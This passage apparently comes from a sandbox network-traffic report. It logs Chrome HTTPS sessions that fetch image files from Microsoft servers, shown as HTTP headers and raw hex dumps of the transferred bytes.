a5 98 3f 40 3a 23 ed 31 61 b1 9d d1 7a 76 04 61 a6 73 11 d2 09 2c f4 18 00 59 47 dc e1 7a e4 77 22 c7 ed 85 c8 e9 12 
16 b4 68 d0 29 41 a7 b7 9b 2b 5b 3b f3 95 db 16 35 7a 36 e4 da 61 a8 ea 93 06 cc d4 a3 ee b6 2f dd b5 bd 94 65 1f 5e 
13 d3 71 a7 1d 32 69 0c 1e 25 bc 15 bd a7 d5 62 d3 e8 81 34 06 45 c9 6c 1c 9a 95 7a ee f3 73 b8 bb 3b f1 8c 6e fa 97 a7 
2f 52 30 3d a2 6e 7b 84 72 07 0c 95 af da dd b9 6b d1 d7 e9 e9 b9 20 21 ac 11 2d 2c 69 a9 c8 2d 8b 97 57 61 7f 77 7e ef 
ac 44 ae fa b7 ee 4f 59 8e 1a 9c f7 36 4e ed 92 db 5a fd dd e9 fb 97 a5 2b 7b 69 4f 71 75 ec 5a 2e 1e 3d ce 01 26 91 0c 
0d 49 43 6d 28 5c bf b8 bc 44 ce 92 f2 91 25 e4 4f 52 6a e8 
Data Ascii: 6o[$].YN-4@j~?@:#1azvas,YGzw"h)A+[;5z6a/e^q2i%b4Elzs;n/R0=n{rk !-,i-Waw~DOY6NZ+{iOquZ.=&
ICm(\D%ORj

2022-06-08 07:56:17 UTC 6619 IN Data Raw: e5 e0 b5 5c 04 cb 1e 9e 0a 76 40 96 a2 c3 90 f8 28 de b9 23 19 31 70 68 29 c9 4a 5b b9 69 d2 1e 23 37 fe 48 
4c c0 16 0d 08 f5 19 97 57 ae 6e 63 28 c8 c4 47 ea 60 66 06 34 56 e3 64 8b 5a 63 de 64 5c 4b 95 3a 28 7b b5 d2 0e de 
ed c9 c2 12 81 00 ce 51 fa a9 8b 0e 6c bf 6d 6e 00 89 02 00 e4 39 a9 6d 6c c7 48 70 d2 8f d4 7a 0e 6a 62 e8 27 57 d2 e5 
c8 e8 ea 36 f4 ea 23 10 2a 8c b7 47 54 d8 4a 11 8e 1d 7c d4 b7 db bd 46 52 78 db 84 b2 f0 0b f6 97 ec 83 19 10 0c aa 64 
6b cb 0a 2f da d8 dd 5b b2 47 76 b9 c4 3d 39 37 45 e8 c6 44 c7 4b 09 b1 06 43 ab 52 b8 f3 40 4c 88 5b 00 93 cc f4 42 d6 
da df a5 16 00 e9 2c fe 39 af 56 64 09 87 79 12 f2 3d 1d 7a 46 f1 8b 41 dc d4 4a 5e 1c 97 af b8 95 cb 92 89 70 41 32 07 
c7 92 13 87 69 20 81 20 f5 91 cb ab 28 de b0 4f ab a0 43 b4 
Data Ascii: \v@(#1ph)J[i#7HLWnc(G`f4VdZcd\K:({Qlmn9mlHpzjb'W6#*GTJ|FRxdk/[Gv=97EDKCR@L[B,9Vdy=zFAJ^pA2i  
(OC

2022-06-08 07:56:17 UTC 6635 IN Data Raw: 20 ae d6 ea e8 b6 26 b4 4f 29 63 f3 2b ea 2d c9 3c 08 6c 7f 8f 04 65 72 40 e5 92 6d 4d 2c 71 c9 6a d6 06 58 
a7 32 1d 7a 2f ac bf 5c 53 ea 25 93 87 6a f5 fb d6 96 3c d0 00 1a d4 23 29 0a 9e 61 74 1f 82 ed 04 53 9a a0 3c f3 f8 a3 
a6 0d 0e a9 f4 b5 39 a1 a4 48 1e ab b4 8f 34 ce 3e 25 02 7e 21 10 31 e8 56 97 20 60 80 12 3c ca 02 52 34 7e aa a4 82 
bb 24 59 6a 24 fc 13 1a 9c 69 f7 26 61 cd 1a 07 f1 64 74 b7 30 5d 39 88 ae 35 c5 3d 0a 69 60 dd 38 66 4f 44 23 20 ca b9 
14 ff 00 35 d7 c5 6a 77 e8 98 8a f5 58 af e8 9c 1a 72 58 a6 c9 d3 b8 4f 29 2e d9 14 00 24 af 05 a4 0a 2a 81 e2 9d 83 66 
51 19 ae d3 f0 59 a6 4e 33 14 5a be 45 55 d7 3f 15 4c 15 15 2b d5 50 55 95 70 3c be 69 fc 93 1e 78 2a 7d ea b4 28 d2 89 
9a 99 22 ef e4 8b 8c 30 0e 8b 10 d9 39 43 49 0f e2 bb e4 f5 
Data Ascii:  &O)c+-<ler@mM,qjX2z/\S%j<#)atS<9H4>%~!1V `<R4~$Yj$i&adt0]95=i`8fOD# 5jwXrXO).$*fQYN3ZEU?
L+PUp<ix*}("09CI

2022-06-08 07:56:17 UTC 6651 IN Data Raw: 30 cd 76 e2 df 34 73 5e 09 c1 3c d3 02 39 a6 01 cf 36 64 69 e4 b4 f5 70 81 18 a7 25 c1 f3 54 7e 4e b5 40 3f 55 
80 6f 85 53 4a 23 c0 0c ca ed 0d d5 34 dc 9c 68 b4 45 8b 73 4f 21 f0 5a a1 f3 4d 26 06 89 f5 33 67 92 7d 47 e3 8a 77 0f f1 
40 92 dd 15 7c 55 4b 3a 73 55 9a 61 82 1a 8a d4 10 21 9d dd 50 30 01 60 c1 d3 3d 57 40 c9 88 44 8c 50 1d 50 91 38 50 
82 9f 16 c5 50 53 a7 0a b0 3f 1f 05 8d 42 e6 2b 9a 25 98 ad 11 38 2e a9 86 3c 91 af 45 dc a8 aa 9e 34 2a a4 b2 0e 68 3a 
26 15 8a 70 3c d5 71 cd 90 fc 15 01 61 d1 7d 25 36 91 5c 4a ee 1f cd 02 31 c8 b2 a7 8f 44 48 aa 34 a7 54 dc b9 2a 1f 24 
d5 62 9c 78 a2 59 57 c3 af 55 db 1a 32 ae 68 b7 d2 7e f4 40 a6 5c d7 3e 98 aa 8a 0c d5 1b f0 4e 19 56 98 26 c4 a2 b1 ee 
3f 72 d4 73 42 51 25 ca c5 e4 28 bb 4d 1d 76 fc 13 10 
Data Ascii: 0v4s^<96dip%T~N@?UoSJ#4hEsO!ZM&3g}Gw@|UK:sUa!P0`=W@DPP8PPS?B+%8.<E4*h:&p<qa}%6
\J1DH4T*$bxYWU2h~@\>NV&?rsBQ%(Mv

2022-06-08 07:56:17 UTC 6658 IN Data Raw: a2 06 d9 25 b1 42 37 23 1a f5 a9 4f 6a 00 2d 32 00 3b bf 81 46 d4 a0 24 1a 9e 2b d5 79 03 94 41 42 11 15 1c 
c5 10 1c b1 18 04 e0 b8 a3 39 5a 4b be 3c d3 12 01 c5 0b 82 7d a1 d9 08 46 e0 8b e4 cc 8c 8c 89 2c 31 c1 02 ef 01 5d 
20 9a ad 51 89 63 51 89 5a ee 0d 31 c8 30 65 a4 55 0e 60 a9 1b b3 68 86 2c e9 f5 38 8d 03 04 24 0c e2 39 60 86 83 4e 
a8 83 20 1e 8b 58 96 ad 59 30 c5 69 96 5f 04 05 88 89 4a b9 b2 fd 56 04 0a 81 50 9a d8 3f 15 46 e8 9d d9 d1 07 2c d5 71 
4c 70 28 c9 fc 96 07 a3 74 5c c7 82 67 aa c5 83 fc 50 91 38 ba d2 29 f8 af aa 98 54 2d 20 39 74 5c 81 4a 84 00 3e 79 78 
22 26 62 08 c0 03 8a 79 2e c9 32 d1 28 99 9a 0f e0 27 0e 39 86 2e 80 32 9c 5e ae 03 7c 53 de b9 28 4c e1 aa a4 9f 02 88 
88 30 81 cf 48 3f 8a 26 77 0c a9 47 89 0c 39 f5 42 e5 ed d4 2e 
Data Ascii: %B7#Oj-2;F$+yAB9ZK<}F,1] QcQZ10eU`h,8$9`N XY0i_JVP?F,qLp(t\gP8)T- 9t\J>yx"&by.2('9.2^|S(L0H?
&wG9B.

2022-06-08 07:56:17 UTC 6674 IN Data Raw: 1e a8 0c 23 f7 94 1b 1f 07 a7 22 b9 1f 9a 00 63 f1 4c 6a 0e 48 ea 8d 56 88 d5 c8 f8 94 f3 77 1f c1 5c c8 c9 7a 
70 0c 0b d3 ee 4f 30 d1 18 80 81 d0 58 96 fe 0a d1 08 9a 8c 0e 01 35 c8 f6 f3 19 8e 6a 46 d4 e3 19 c4 38 81 a1 97 36 f0 
57 f7 13 8f eb 5b d2 49 c4 88 c8 b3 37 5e 68 40 44 d5 a9 f7 ad 37 80 84 81 00 82 b4 c4 06 35 1d 54 65 38 c8 c6 9f 48 24 
fc 90 33 ce b4 c4 26 b9 16 66 6a f2 cd 69 31 60 ec 1f 3f 0e 8a 46 20 31 c9 aa eb 5c a8 01 6e 69 c9 a1 c2 ac 2a 32 08 eb 
ee e5 e2 b4 c9 aa 57 42 05 7a f2 f3 5d ec 0e 7d 13 4a 43 57 c5 c2 0d 12 46 05 83 a2 18 8e 4d 50 a5 7a f3 44 47 39 16 77 
e6 e8 d8 94 3d 22 3e 90 e0 ea 1c e9 80 f1 44 d9 f6 e8 7a 96 dc c2 ee e6 f0 8d b1 01 8c f3 20 0e 4c bd 2b 43 6f 3b b6 cc 
45 db 86 e7 65 6b d8 00 72 b6 de eb ee 13 9c ec d9 06 
Data Ascii: #"cLjHVw\zpO0X5jF86W[I7^h@D75Te8H$3&fji1`?F 1\ni*2WBz]}JCWFMPzDG9w=">Dz L+Co;Eekr

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:56:17 UTC 6690 IN Data Raw: 1b 96 fb 9b c7 91 52 90 b3 29 5c 93 fd 45 b0 52 11 b1 a4 89 63 23 fc 62 a3 2d c5 a1 ea 01 a7 1a 31 f0 42 62 
d5 b1 ea d0 97 a8 61 81 40 6d 23 09 c2 66 a0 90 07 c5 7a 5b 69 c2 dd f1 31 23 a8 62 e3 00 a5 0d 71 9c f0 27 f1 5a 6e 17 
71 da 06 03 af 55 fb 53 1d 06 41 c4 c0 52 32 20 44 7d 4c ad c6 f0 04 5c ed 89 1f 4f 91 53 68 01 e9 c7 48 8f f5 46 e4 ed 8b 
96 e2 ee 59 c5 79 23 6e ee d6 03 b6 22 26 21 e4 09 0e 0f 82 12 20 89 1a 8e d1 5e 88 6e 44 65 29 6a ee f2 50 bb b9 84 
81 38 cc fe 1e 4a 6d 6c 0a 93 02 30 62 54 2e 5b 8b cd c9 a8 60 3c 02 8e d6 c0 02 d6 a3 72 43 ae 69 e4 41 83 e0 79 23 
2b 41 a0 d5 ad 3f 86 5a c3 9b 73 6e e0 5f 0c 51 78 ce e4 34 eb 6a b0 f1 43 72 20 5c be 99 75 ea a3 72 ec 7b ce 24 9c 14 
61 69 a5 26 a1 06 a3 a9 55 87 6d 0b e0 fd 5d 7a 72 3d 84 0c 
Data Ascii: R)\ERc#b-1Bba@m#fz[i1#bq'ZnqUSAR2 D}L\OShHFYy#n"&! ^nDe)jP8Jml0bT.[`<rCiAy#+A?Zsn_Qx4jCr 
\ur{$ai&Um]zr=

2022-06-08 07:56:17 UTC 6698 IN Data Raw: 8c e2 5a 3d 28 ea 37 61 da d8 9e 68 0b 20 eb 98 af f4 50 d7 70 0b a3 ba b9 0e 47 9a 95 9d d1 8f a2 f4 3e 68 
7a 32 02 dc ab 22 6a b5 07 90 05 86 9e aa 36 c1 35 7f 14 74 3b 35 49 c3 c3 c5 7e b8 d2 41 a5 71 46 73 21 c9 f3 64 c1 9e 
32 7a 50 90 39 75 46 1b 92 48 c8 39 c7 aa f5 2d 54 3d 3a 26 fa 63 13 52 31 2b 44 ad 6b b7 28 18 40 1c 5f 22 bf 73 6a c9 
13 39 1c 02 88 8c 62 09 c4 62 a3 3b 76 dd c8 a8 c1 5c b3 7b 46 90 4b be 3d d8 a3 7a ec c4 6d c4 b1 f0 39 a3 3b 93 32 
b5 11 20 03 54 a8 da 8e a7 85 b2 34 e6 5c bb a8 5d 3a e2 5b ea 34 ea a3 72 44 ca f5 b1 a6 7a aa e0 a8 0d bd a1 19 b9 
89 23 02 0a b7 6e 16 e3 3d b1 00 89 10 e6 3e 68 c6 ed b0 27 20 6a 31 aa b7 b0 dc 5b 9e e6 11 21 a4 40 d5 0f 09 66 3f d
a 68 8c 61 64 4a d1 91 d3 70 e0 04 aa dd 0f 45 29 ed 8e 99 0c 58 
Data Ascii: Z=(7ah PpG>hz2"j65t;5I~AqFs!d2zP9uFH9-T=:&cR1+Dk(@_"sj9bb;v\{FK=zm9;2 T4\]:[4rDz#n=>h' j1[!@f?
hadJpE)X

2022-06-08 07:56:17 UTC 6714 IN Data Raw: c0 c6 dd c0 d2 30 77 61 95 15 c8 de d7 18 6a d7 38 0a cc 4f 57 69 12 cc 13 92 9c 65 39 5c b5 b8 98 8d e8 b3 
0d 23 09 37 f7 40 d4 79 f3 51 b3 6d a7 28 82 0b 54 98 e3 12 0e 24 10 54 20 23 ae f5 b7 02 38 f5 34 f9 a1 7e 12 93 98 9d 
71 18 18 a8 da 05 86 a1 72 b8 92 d8 75 04 29 6e 6d 10 6d 80 00 8c cf 2c 9b ee 43 6d b9 9c ad 8b 8c f7 62 e0 93 11 41 
3e 9c 8a 94 25 08 ca 04 0d 56 f1 11 9c 40 79 c4 e0 1c 57 aa 95 cd ac ee 46 f5 86 bd 1b d0 3a 46 92 c3 f3 60 08 2c 42 b9 
b3 dc 09 4a 0f ac 0b 67 b4 49 a9 30 30 f1 5e d7 ef 57 63 1f 56 17 8d a0 74 9a 08 51 cb 75 35 5b 8f 6a bf 68 08 48 fa b1 
32 76 22 12 a0 7c 58 87 1f 7a 8d fd be 9b 17 23 29 dc 84 00 c0 80 e4 c4 0c 42 b3 ba bd 1b 70 bf 38 03 76 31 94 87 71 26 
b1 02 83 53 3b 65 55 b5 db 7b 44 2e 0d e5 db a6 56 ac 8e d6 
Data Ascii: 0waj8OWie9\#7@yQm(T$T #84~qru)nmm,CmbA>%V@yWF:F`,BJgI00^WcVtQu5[jhH2v"|Xz#)Bp8
v1q&S;eU{D.V

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

6 192.168.2.3 49710 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:53:52 UTC 75 OUT GET /image/apps.10288.13753891519397067.8011a592-e549-44a6-8073-41dcd83eddbe.12bb65f7-1014-4469-bb2e-
59f575e79b05?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:53:53 UTC 75 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 1821
Content-Type: image/png
Last-Modified: Thu, 31 Mar 2022 05:44:16 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REExMkQ5N0UzREU4ODQ"
MS-CV: opsyL7UQw0OK0Svs.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:53:52 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:53:53 UTC 76 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
06 e4 49 44 41 54 78 01 ec d2 31 15 00 00 04 00 51 94 b3 08 a3 ff 24 83 fd ff 08 f7 2e 7b 27 be a0 24 c0 38 18 07 e3 60 
1c 30 0e c6 c1 38 18 07 e3 80 71 30 0e c6 c1 38 18 07 8c 83 71 30 0e c6 c1 38 60 1c 8c 83 71 30 0e c6 01 e3 60 1c 8c 
83 71 30 0e 18 07 e3 60 1c 8c 83 71 c0 38 18 07 e3 60 1c 30 0e c6 c1 38 18 07 e3 80 71 30 0e c6 c1 38 1c 7b 67 0d 25 4
9 72 04 d0 1f dd b3 bc 2b 66 26 47 cc cc 6c 09 3d b1 e4 8a d1 16 79 42 4b b6 ce 77 74 8e c8 12 93 75 cc cc cc 77 83 5d 
f1 f5 b6 df d4 7b 95 2f 7b 8e bb 7a 21 bf 53 d8 fc 37 22 2a a3 72 e7 94 66 8d 93 90 ff be f0 e7 4f 3a 72 ec c8 b7 c0 f7 31 
c0 ae 63 21 5d 32 44 93 82 ce e1 41 e8 c9 04 4a b2 df 67 d2 63 
Data Ascii: PNGIHDR0IDATx1Q$.{'$8`08q08q08`q0`q0`q8`08q08{g%Ir+f&Gl=yBKwtuw]{/{z!S7"*rfO:r1c!]2DAJgc

Session ID Source IP Source Port Destination IP
Destination
Port

Process

60 192.168.2.3 49787 80.67.82.211 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:56:16 UTC 1092 OUT GET /cms/api/am/imageFileData/RWwPhb?ver=1c28 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

2022-06-08 07:56:16 UTC 1141 IN HTTP/1.1 200 OK
Content-Type: image/jpeg
Access-Control-Allow-Origin: *
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RWwPhb?ver=1c28
Last-Modified: Sun, 05 Jun 2022 10:09:05 GMT
X-Source-Length: 719926
X-Datacenter: northeu
X-ActivityId: becc80ab-45af-4abb-9186-48b637d4b5f1
Timing-Allow-Origin: *
X-Frame-Options: DENY
X-ResizerVersion: 1.0
Content-Length: 719926
Cache-Control: public, max-age=180793
Expires: Fri, 10 Jun 2022 10:09:29 GMT
Date: Wed, 08 Jun 2022 07:56:16 GMT
Connection: close

2022-06-08 07:56:16 UTC 1142 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 
03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 
15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 
14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 
14 14 14 14 14 ff c0 00 11 08 07 80 04 38 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 
00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 
02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 
Data Ascii: JFIF``CC8"}!1AQa"q2

2022-06-08 07:56:16 UTC 1213 IN Data Raw: 4b be 9a 7e 27 d4 1e 1f f8 7b e2 5f 10 4d b1 34 df b2 7f d3 69 bf f8 95 ae 96 fb e0 66 b5 1e 87 f6 db 29 bf b4 
6e bf e5 a5 a7 95 e4 7f 9f f8 15 77 fe 1c d7 23 d4 2d 21 ba d2 e6 fb 5c 57 1f bd fd cf f7 2b ac d0 fc 41 3d bd dc df 6d 87 fe 
ba 7f d3 4a fc ef 11 c5 d9 94 6b 2f 75 45 2e 96 fd 4f d2 f0 9c 35 96 4a 8d d2 72 ba de fb 1f 25 5f 41 77 a7 dd cd 6b 7b 0c 
d6 97 31 ff 00 cb 29 aa 1f b5 3f dc f3 ab e8 ff 00 8d 9e 0b 83 c6 1a 1c 37 ba 47 ef af ad bf 79 14 3f fb 4f f1 af 9a 74 3b 19 
3c 59 e2 68 74 1b 2f f8 fe ff 00 96 9f f4 ef fe ff 00 fb 55 f7 f8 2c f6 86 2b 02 f1 95 2d 1e 5d d7 63 e5 31 99 13 c3 e2 e3 87 
a5 79 46 5b 3f f3 35 f4 3d 1f 52 f1 25 df d9 74 ef df 4b 54 af ac 67 b3 bb 9a d6 ea 1f 26 e6 39 3c a9 21 9a be a3 f8 7f e0 fb 
1f 86 f0 e9 a8 f3 7d ae fb 
Data Ascii: K~'{_M4if)nw#-!\W+A=mJk/uE.O5Jr%_Awk{1)?7Gy?Ot;<Yht/U,+-]c1yF[?5=R%tKTg&9<!}

2022-06-08 07:56:16 UTC 1229 IN Data Raw: 7f 61 93 f7 56 da b4 d1 27 9f 1b ef fe 07 5f bb b6 be e2 f0 3e b1 ab 6a de 19 b3 93 5a 86 18 b5 b8 c7 97 7b 17 
fb 6b fc 7f f0 2a f8 ab c5 df 05 fc 7d e0 3f 36 f6 19 e5 97 4d b7 d9 2f 9b a7 4c ff 00 f7 d6 da 87 4d fd b4 bc 61 a3 da 59 f8 
7a 09 bf b4 6e 6c a4 7f 32 6b c8 b7 bd da 7f 0e e6 f6 a5 47 13 4b 18 da 84 ed 6d 6c d6 a7 99 5a 55 f0 0f 9e ad 1b b7 d5 
3d fc b6 48 fb cd dd e4 87 e7 ac 4d 57 47 9e 39 a1 ba b2 f2 a1 b9 8f ff 00 1f af 94 a7 fd b8 35 db c8 b4 d7 d3 b4 1d 3e d3 
fe 7e 6d 26 ff 00 96 9f fc 4d 1a 97 ed d5 ab 69 7e 74 f7 5a 0d a7 97 71 ff 00 1e d1 43 13 fe ef fd e6 ad 9d 1a 72 76 e7 57 
f9 82 ce 52 ff 00 97 32 fc 3f cc fa c1 64 93 57 d2 66 b6 ba 87 c9 92 e2 37 8f fe fa ae 6f e1 ee a5 1d e7 c3 7d 23 c9 87 fe 
3d e3 fb 37 95 fe dc 7f 25 78 55 af ed 
Data Ascii: aV'_>jZ{k*}?6M/LMaYznl2kGKmlZU=HMWG95>~m&Mi~tZqCrvWR2?dWf7o}#=7%xU

2022-06-08 07:56:16 UTC 1278 IN Data Raw: 4c b7 8d 3e d3 e4 cb f3 ff 00 b1 ff 00 8f 56 5d ad 8f 84 f5 0d 42 67 d3 ac ff 00 b4 65 fb 37 ef 2d 21 95 ff 00 d1 
26 5f f1 af 3f fd a4 fc 09 71 6f f0 47 c4 97 ba 76 af 37 d9 be cc 92 49 6b 77 fe cb d7 89 89 a8 94 94 a5 1e a8 f6 f0 98 75 2b 
c6 12 d2 dd 55 99 5b e0 7f ed 91 77 f1 83 e2 3e b1 a0 bc 3f 64 f3 2c bc dd 16 d2 6f f9 ed 1a 7c d1 37 fb 6f 5e d7 a7 78 c6 
7f 12 78 67 47 d7 93 cd fb 4d ec 69 fb 9f f6 ff 00 8d 6b f2 fb e1 9c da ce 89 e3 cd 1f 50 d2 21 97 ed b6 f7 b0 5c d9 4b fe eb 
ff 00 7a bf 51 3c 07 6b 05 e6 93 af 69 de 4f 93 16 9d ab 79 b1 ff 00 d3 38 66 4f 37 6f fe 3f 5e e6 36 14 e1 0f 6d 49 2d ad f7 
75 f9 a7 f8 1f 3d 83 8d 68 d7 95 0c 45 ec da 69 ff 00 89 6a 9f 92 69 35 ea 6b c9 ac 68 be 24 f0 6c d0 6a 30 c3 37 da 24 fb 
34 93 7f cb 0f f6 6b 13 c6 
Data Ascii: L>V]Bge7-!&_?qoGv7Ikwu+U[w>?d,o|7o^xxgGMikP!\KzQ<kiOy8fO7o?^6mI-u=hEiji5kh$lj07$4k

2022-06-08 07:56:16 UTC 1344 IN Data Raw: 31 31 a8 ab 4a ab 72 5b 74 4b e4 7d bf fb 44 7e d5 de 13 d6 fc 3f 15 af 83 66 fe d6 f1 34 7b e2 97 5c 86 17 44 
b0 87 fd 8f f9 e9 ff 00 a0 d7 15 f0 bb c6 3e 25 d5 26 9b fd 32 6d 46 fa 3f f8 f9 f3 a5 f9 f6 57 cd bf 0f 7c 47 1f 85 f5 cd f3 fe 
fa c7 51 b6 92 da e7 ce ff 00 9e 33 26 c6 af 46 d2 be 21 58 7c 23 d3 f5 2d 3b 4e d4 ad 3c 45 ab c7 22 7d 8b 56 b3 97 f7 
12 27 fd 34 ff 00 e2 6b 2f aa c2 9a 70 a1 1b 27 fd 6a 52 a9 c8 bd ae 22 4e 73 fe b4 4b a2 47 d2 5e 38 f8 8d 07 81 fe c6 fa 
dc de 74 97 1f ea f4 ff 00 e3 ff 00 f6 6b 9e d4 be 23 5d ea 1f 05 f5 89 ed 75 89 b4 ef 32 f7 ec 36 de 4f cf f7 bf fd 9a f8 ef 52 
f1 1d fe b9 ab 4d aa 6a 37 92 dd df 5c 49 e6 f9 d3 57 bd fc 13 f1 54 9a c6 93 79 a5 cf 67 0f d9 a3 ff 00 96 33 7f 7d ab 49 
52 54 92 94 77 44 53 8c aa c6 
Data Ascii: 11Jr[tK}D~?f4{\D>%&2mF?W|GQ3&F!X|#-;N<E"}V'4k/p'jR"NsKG^8tk#]u26ORMj7\IWTyg3}IRTwDS

2022-06-08 07:56:16 UTC 1408 IN Data Raw: 7c 97 71 2f cd 1b ca bf df 5a f5 f0 98 ca b8 7b 46 ad e5 17 d7 76 72 56 c3 d3 c4 6a ac a4 9f cb ee 3c ba 3f 13 
ff 00 c2 49 37 d8 a0 d4 a6 b4 d4 ec ae 53 ec 57 7e 6f f1 ff 00 b5 fe f5 72 fe 23 f1 75 f7 8d 35 cd 4b 5b 7f f8 97 6a 76 f7 3f 
61 8b 49 87 ef dd ed 4d ad 2f fb 1f 3d 61 fc 42 f0 9e b9 f0 96 6b cb e9 b4 e9 62 97 ec cf 6d 1d d7 9b be 1b ba df f8 49 a9 
78 7a df c3 d0 ea 9a dd e7 fa 2c 72 ff 00 a9 fe 3d fb 07 99 1f f7 b8 af a4 8d 58 ce 1e da 93 b9 e0 d4 a5 ec 66 e1 88 f7 52 
5b fa f6 38 7f 13 78 7e 0d 52 ef cf bd d3 6e e6 96 de 3f 37 ce f2 9f fd 1f cc 41 f2 d7 cd 3f 10 f5 8f ec 7f 10 cc fa 5d 9f fa 0d 
bc 9f bb 9b fe 79 bf f7 6b ef 0f 82 de 26 9f 47 f8 91 a9 6a 3a 8e a5 f6 bf 0f 6a 37 37 51 47 0c d2 ff 00 ab dd f3 c7 f2 ff 00 0f 
c9 5c 6f c6 2f 19 78 6e 
Data Ascii: |q/Z{FvrVj<?I7SW~or#u5K[jv?aIM/=aBkbmIxz,r=XfR[8x~Rn?7A?]yk&Gj:j77QG\o/xn

2022-06-08 07:56:16 UTC 1487 IN Data Raw: 49 1a 49 27 93 2e f7 d9 b3 ef 79 75 e1 d1 e8 72 68 76 90 d9 5e cd 77 0d f4 7f bd 92 1f f9 e9 fe cd 7e 9e 78 9a 
ea 3b cd 26 6d 9f b9 97 e4 f2 ff 00 e0 35 e5 7f 1a 7f 67 eb 5f 8b 9e 05 ff 00 84 85 21 fe c9 f1 76 95 6c f2 c7 37 fc f7 48 ff 
00 e5 9c b5 b5 1c 55 5a 0d 46 77 92 6f e6 15 b0 94 2b 46 53 8a 51 92 fb bf 1d 8f 8c 67 f8 8d 3e b9 ab 59 e9 d3 d9 f9 3f 
67 b2 f2 bf 7d ff 00 b2 d6 8c 73 c9 fd 93 35 af fa 99 23 97 fd 1a 2f e3 fe ed 75 7e 2e f8 37 77 e1 ff 00 01 e8 3f 10 a0 9a 1d 
73 48 d4 6d a0 f3 35 08 7f e5 d1 f6 7c be 67 ff 00 15 5c 07 86 67 f0 d4 73 43 aa 4f 79 f6 bb e8 e4 f2 bc ef 37 e4 df 5d 71 
ad 1e 67 38 27 75 d2 c7 83 5b 0f ec 1f 2c 9f cf 7f b8 bb 07 88 23 b7 d3 e1 83 fe 5f a3 ff 00 59 0c df f7 cd 5a 83 c5 df d9 73 
7c fe 74 d2 fd 9b f7 7f dc 8d d6 
Data Ascii: II'.yurhv^w~x;&m5g_!vl7HUZFwo+FSQg>Y?g}s5#/u~.7w?sHm5|g\gsCOy7]qg8'u[,#_YZs|t

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:56:16 UTC 1551 IN Data Raw: 6f 3e fc 1b 76 7c c8 ff 00 ee d7 cb 26 eb 7c 32 a3 99 7f d6 54 3e 74 90 5d 6c 7f 30 7f 3a f5 55 0a 76 6b 94 d1 
a9 cb 79 36 fb f5 3e e8 f8 17 fb 59 49 e0 7b b8 6d 53 c9 b4 b6 8e e7 f7 90 cd 17 9f 04 90 ff 00 12 b7 fe cb 5f 53 f8 bb c4 
7e 1a f8 91 69 a6 dd 5e e8 30 f8 8b 48 92 4f b4 db 4d 0c 5b de dd ff 00 87 f8 6b f2 13 47 f1 35 f6 89 ab 41 7b 14 bf be 8a 
44 31 d7 d2 bf 05 bf 69 ef 10 f8 3f 56 99 e7 bc 9a ee 59 2e 52 59 3c 9f 9d f6 37 df 8b 67 dd 6a e6 c4 61 a1 28 68 8e dc 2d 
79 e1 a5 bb b7 93 3d fa ea fa c2 cf c4 d6 77 5a 8e 8f 36 85 73 a0 c9 e6 dc ff 00 67 4b b2 7b 77 ff 00 96 73 ad 72 3f 16 35 
8f 19 db c3 a9 5a dd 5e 7f c4 b3 51 b9 4b 98 a6 9a 2d 9f e9 2a fe 64 6d e5 ff 00 cb 39 7f da 4f bf 58 3f 18 bf 68 28 3c 61 
e0 dd 37 57 79 be c9 e3 8d 3b 52 9f 4d 
Data Ascii: o>v|&|2T>t]l0:Uvky6>YI{mS_S~i^0HOM[kG5A{D1i?VY.RY<7gja(h-y=wZ6sgK{wsr?5Z^QK-*dm9OX?h(<a7
Wy;RM

2022-06-08 07:56:16 UTC 1591 IN Data Raw: de 44 d3 6d bf df 8d 37 7f e3 d5 7b f6 a1 f0 77 8c 3c 51 0e 83 af 78 6a f2 d2 d2 e7 45 fb 54 bf 6b f3 7c 8f 2f cc 
f9 ff 00 f6 4f bb 5f 27 78 8f 5f bf f1 06 ad 36 af 7b 79 ff 00 13 79 24 7b 99 26 fe 39 1f 7f fa cf f8 0d 7d 13 a6 fe d9 5a 96 8f 
